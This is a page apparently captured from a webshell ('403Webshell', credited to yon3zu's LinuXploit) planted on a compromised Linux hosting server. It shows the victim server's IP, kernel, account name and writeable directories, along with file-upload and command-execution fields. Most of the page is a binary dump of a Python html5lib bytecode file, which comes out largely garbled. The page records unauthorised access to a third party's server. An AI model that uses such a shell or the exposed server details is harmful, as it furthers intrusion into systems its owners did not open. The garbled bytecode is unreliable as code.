403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.135.202.40
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/html5lib/treebuilders/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/html5lib/treebuilders/__pycache__/dom.cpython-37.pyc
B

63)Z�"�@s|ddlmZmZmZddlmZddlmZmZddl	Z	ddl
mZddl
mZdd	lm
Z
dd
lmZdd�Zee�ZdS)
�)�absolute_import�division�unicode_literals)�MutableMapping)�minidom�NodeN�)�base�)�	constants)�
namespaces)�moduleFactoryFactorycsV��Gdd�dt��G��fdd�dtj��G����fdd�dtj�}dd��t�S)	Nc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)zgetDomBuilder.<locals>.AttrListcSs
||_dS)N)�element)�selfr�r�J/opt/alt/python37/lib/python3.7/site-packages/html5lib/treebuilders/dom.py�__init__sz(getDomBuilder.<locals>.AttrList.__init__cSst|jj���S)N)�iterr�
attributes�keys)rrrr�__iter__sz(getDomBuilder.<locals>.AttrList.__iter__cSs4t|t�rt�n |jj�|�}||_||jj|<dS)N)�
isinstance�tuple�NotImplementedErrorr�
ownerDocumentZcreateAttribute�valuer)r�namer�attrrrr�__setitem__s

z+getDomBuilder.<locals>.AttrList.__setitem__cSst|jj�S)N)�lenrr)rrrr�__len__ sz'getDomBuilder.<locals>.AttrList.__len__cSst|jj���S)N)�listrr�items)rrrrr"#sz%getDomBuilder.<locals>.AttrList.itemscSst|jj���S)N)r!rr�values)rrrrr#&sz&getDomBuilder.<locals>.AttrList.valuescSs"t|t�rt�n|jj|jSdS)N)rrrrrr)rrrrr�__getitem__)s
z+getDomBuilder.<locals>.AttrList.__getitem__cSst|t�rt�n
|jj|=dS)N)rrrrr)rrrrr�__delitem__/s
z+getDomBuilder.<locals>.AttrList.__delitem__N)�__name__�
__module__�__qualname__rrrr r"r#r$r%rrrr�AttrListsr)cs�eZdZdd�Zedd��Zdd�Zddd	�Zd
d�Zdd
�Z	dd�Z
�fdd�Zdd�Zeee�Z
�fdd�Zdd�Zdd�Zee�ZdS)z"getDomBuilder.<locals>.NodeBuildercSstj�||j�||_dS)N)r	rr�nodeNamer)rrrrrr6sz+getDomBuilder.<locals>.NodeBuilder.__init__cSst|jd�r|jjpdS)N�namespaceURI)�hasattrrr+)rrrr�<lambda>:sz+getDomBuilder.<locals>.NodeBuilder.<lambda>cSs||_|j�|j�dS)N)�parentr�appendChild)r�noderrrr/=sz.getDomBuilder.<locals>.NodeBuilder.appendChildNcSs4|jj�|�}|r$|j�||j�n|j�|�dS)N)rr�createTextNode�insertBeforer/)r�datar2�textrrr�
insertTextAsz-getDomBuilder.<locals>.NodeBuilder.insertTextcSs|j�|j|j�||_dS)N)rr2r.)rr0ZrefNoderrrr2Hsz/getDomBuilder.<locals>.NodeBuilder.insertBeforecSs&|jj|jkr|j�|j�d|_dS)N)rZ
parentNode�removeChildr.)rr0rrrr6Lsz.getDomBuilder.<locals>.NodeBuilder.removeChildcSs:x.|j��r.|jj}|j�|�|j�|�qWg|_dS)N)r�
hasChildNodesZ
firstChildr6r/�
childNodes)rZ	newParent�childrrr�reparentChildrenQs
z3getDomBuilder.<locals>.NodeBuilder.reparentChildrencs
�|j�S)N)r)r)r)rr�
getAttributesXsz0getDomBuilder.<locals>.NodeBuilder.getAttributescSsz|rvxpt|���D]`\}}t|t�rd|ddk	rF|dd|d}n|d}|j�|d||�q|j�||�qWdS)Nr�:rr
)r!r"rrrZsetAttributeNSZsetAttribute)rrrrZ
qualifiedNamerrr�
setAttributes[s
z0getDomBuilder.<locals>.NodeBuilder.setAttributescs�|j�d��S)NF)r�	cloneNode)r)�NodeBuilderrrr>jsz,getDomBuilder.<locals>.NodeBuilder.cloneNodecSs
|j��S)N)rr7)rrrr�
hasContentmsz-getDomBuilder.<locals>.NodeBuilder.hasContentcSs(|jdkrtd|jfS|j|jfSdS)N�html)�	namespacerr)rrrr�getNameTupleps
z/getDomBuilder.<locals>.NodeBuilder.getNameTuple)N)r&r'r(r�propertyrBr/r5r2r6r:r;r=rr>r@rCZ	nameTupler)r)r?rrr?5s

r?cs�eZdZ�fdd�Z��fdd�Zd�fdd�	Z�fdd	�Z�fd
d�Zdd
�Z�fdd�Z	dd�Z
dd�Zddd�Z�Z
dZdS)z"getDomBuilder.<locals>.TreeBuildercs����ddd�|_t�|�S)N)�getDOMImplementationZcreateDocument�dom�weakref�proxy)r)�Domrr�
documentClassysz0getDomBuilder.<locals>.TreeBuilder.documentClasscsR|d}|d}|d}���}|�|||�}|j��|���tkrN|j|_dS)Nr�publicId�systemId)rEZcreateDocumentTypeZdocumentr/rrFr)r�tokenrrKrLZdomimplZdoctype)rIr?rr�
insertDoctype}sz0getDomBuilder.<locals>.TreeBuilder.insertDoctypeNcs6|dkr |jdkr |j�|�}n|j�||�}�|�S)N)ZdefaultNamespacerFZ
createElementZcreateElementNS)rrrBr0)r?rr�elementClass�sz/getDomBuilder.<locals>.TreeBuilder.elementClasscs�|j�|��S)N)rFZ
createComment)rr3)r?rr�commentClass�sz/getDomBuilder.<locals>.TreeBuilder.commentClasscs�|j���S)N)rFZcreateDocumentFragment)r)r?rr�
fragmentClass�sz0getDomBuilder.<locals>.TreeBuilder.fragmentClasscSs|j�|j�dS)N)rFr/r)rr0rrrr/�sz.getDomBuilder.<locals>.TreeBuilder.appendChildcs�|�S)Nr)rr)�testSerializerrrrR�sz1getDomBuilder.<locals>.TreeBuilder.testSerializercSs|jS)N)rF)rrrr�getDocument�sz.getDomBuilder.<locals>.TreeBuilder.getDocumentcSstj�|�jS)N)r	�TreeBuilder�getFragmentr)rrrrrU�sz.getDomBuilder.<locals>.TreeBuilder.getFragmentcSsp|}||krtj�|||�nNt|jd�rXtj|jjkrXt|jj�|j_|jj�	tj�|j�
|j�|��dS)N�_child_node_types)r	rTr5r,rFr�	TEXT_NODErVr!�appendr/r1)rr3r.rrrr5�sz-getDomBuilder.<locals>.TreeBuilder.insertText)N)N)r&r'r(rJrNrOrPrQr/rRrSrUr5�implementationrr)rI�DomImplementationr?rRrrrTxs

rTcs0|��g�d��fdd�	��|d�d���S)Nrcs$|jtjkr�|jrj|js|jrP|jp&d}|jp0d}��dd||j||f�q~��dd||jf�n��dd|f��nz|jtjkr���d��n`|jtjkr���d��nF|jtj	krވ�dd||j
f��n|jtjk�r��d	d||j
f�n�t|d
��r6|j
dk	�r6dtj|j
|jf}n|j}��dd||f�|���r�g}xftt|j��D]T}|j�|�}|j}|j}|j
}	|	�r�dtj|	|jf}n|j}|�||f��qpWx2t|�D]&\}}��d
d|d||f��q�W|d7}x|jD]}
�|
|��qWdS)N�z|%s<!DOCTYPE %s "%s" "%s">� z|%s<!DOCTYPE %s>z|%s<!DOCTYPE >z	#documentz#document-fragmentz|%s<!-- %s -->z|%s"%s"r+z%s %sz|%s<%s>z
|%s%s="%s"r
)ZnodeTyperZDOCUMENT_TYPE_NODErrKrLrXZ
DOCUMENT_NODEZDOCUMENT_FRAGMENT_NODEZCOMMENT_NODEZ	nodeValuerWr,r+r�prefixesr*Z
hasAttributes�rangerr�itemrZ	localName�sortedr8)r�indentrKrLrr�irr�nsr9)�rv�serializeElementrrre�sN


"z?getDomBuilder.<locals>.testSerializer.<locals>.serializeElement�
)r)�	normalize�join)rr)rdrerrR�s
.
z%getDomBuilder.<locals>.testSerializer)rr	rrT�locals)rZrTr)r)rIrZr?rRr�
getDomBuilders$C:6rj)�
__future__rrr�collectionsrZxml.domrrrGr[r	rrZ_utilsr
rjZgetDomModulerrrr�<module>s_

Youez - 2016 - github.com/yon3zu
LinuXploit